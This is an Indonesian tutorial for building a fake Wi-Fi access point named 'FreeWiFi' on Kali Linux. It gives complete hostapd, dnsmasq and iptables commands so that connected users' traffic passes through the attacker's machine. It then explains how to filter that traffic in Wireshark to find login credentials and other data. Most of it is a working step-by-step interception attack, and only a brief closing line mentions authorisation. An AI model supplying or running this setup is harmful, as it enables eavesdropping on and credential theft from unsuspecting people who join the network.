

# Panduan Membuat Akses Point Palsu di Kali Linux

Berikut adalah langkah-langkah lengkap untuk membuat akses poin palsu (fake access point) di Kali Linux, memberikan koneksi internet, dan memantau lalu lintas jaringan yang tersambung.

## ### 1. Persiapan Lingkungan

### 1. **\*\*Perangkat Keras yang Dibutuhkan\*\***:

- Laptop atau PC dengan Kali Linux.
- Wireless Adapter yang mendukung mode monitor dan AP (Access Point).
- Koneksi internet (dari kabel Ethernet atau Wi-Fi lainnya).

### 2. **\*\*Update Sistem\*\***:

Jalankan perintah ini untuk memastikan semua tools di Kali Linux terbaru.

```
```bash
sudo apt update && sudo apt upgrade -y
```
```

### 3. **\*\*Install Tools yang Dibutuhkan\*\***:

```
```bash
sudo apt install hostapd dnsmasq iptables
```
```

## ### 2. Membuat Akses Poin Palsu

### #### Konfigurasi hostapd (Membuat Access Point)

#### 1. Buat file konfigurasi hostapd untuk mendefinisikan akses poin.

```
```bash
```

```
sudo nano /etc/hostapd/hostapd.conf
```

```
```
```

2. Isi dengan konfigurasi berikut:

```
```
```

```
interface=wlan0
```

```
driver=nl80211
```

```
ssid=FreeWiFi
```

```
hw_mode=g
```

```
channel=6
```

```
macaddr_acl=0
```

```
auth_algs=1
```

```
ignore_broadcast_ssid=0
```

```
```
```

3. Simpan file dengan Ctrl+O, lalu keluar dengan Ctrl+X.

4. Edit file konfigurasi hostapd default untuk menunjuk ke file Anda:

```
```bash
```

```
sudo nano /etc/default/hostapd
```

```
```
```

Tambahkan atau ubah baris:

```
```
```

```
DAEMON_CONF="/etc/hostapd/hostapd.conf"
```

```
```
```

#### Konfigurasi dnsmasq (DHCP dan DNS Server)

1. Backup konfigurasi default:

```
```bash  
  
sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.bak  
  
```
```

2. Buat file konfigurasi baru:

```
```bash  
  
sudo nano /etc/dnsmasq.conf  
  
```
```

3. Isi dengan konfigurasi berikut:

```
```  
  
interface=wlan0  
  
dhcp-range=192.168.1.2,192.168.1.100,255.255.255.0,24h  
  
server=8.8.8.8  
  
log-queries  
  
log-dhcp  
  
```
```

#### Aktifkan IP Forwarding (Koneksi Internet untuk AP Palsu)

1. Aktifkan forwarding pada kernel:

```
```bash  
  
sudo echo 1 > /proc/sys/net/ipv4/ip_forward  
  
```
```

2. Pastikan forwarding aktif permanen:

```
```bash  
  
sudo nano /etc/sysctl.conf
```

```
...
```

Tambahkan atau ubah baris:

```
...
```

```
net.ipv4.ip_forward=1
```

```
...
```

3. Konfigurasi iptables untuk meneruskan koneksi dari wlan0 ke koneksi internet:

```
```bash
```

```
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

```
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j  
ACCEPT
```

```
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
```

```
...
```

#### Jalankan Akses Poin

1. Mulai layanan hostapd:

```
```bash
```

```
sudo hostapd /etc/hostapd/hostapd.conf
```

```
...
```

2. Mulai layanan dnsmasq:

```
```bash
```

```
sudo systemctl start dnsmasq
```

```
...
```

### 3. Memantau Lalu Lintas Jaringan

#### #### Gunakan Wireshark

##### 1. Jalankan Wireshark:

```
```bash  
  
sudo wireshark  
```
```

##### 2. Pilih interface wlan0 untuk menangkap paket.

##### 3. Tambahkan filter untuk memantau data tertentu:

- Semua lalu lintas HTTP:

```
```  
  
http  
```
```

- Semua lalu lintas ke/dari IP tertentu:

```
```  
  
ip.addr == 192.168.1.5  
```
```

- Semua paket DNS:

```
```  
  
dns  
```
```

##### 4. Analisis paket untuk menemukan informasi seperti kredensial login atau data lainnya.

#### ### Catatan Penting

- Pastikan Anda hanya menggunakan metode ini di jaringan yang Anda miliki atau dengan izin eksplisit dari pemilik jaringan.

- Pelanggaran hukum siber dapat mengakibatkan denda atau hukuman berat di banyak negara.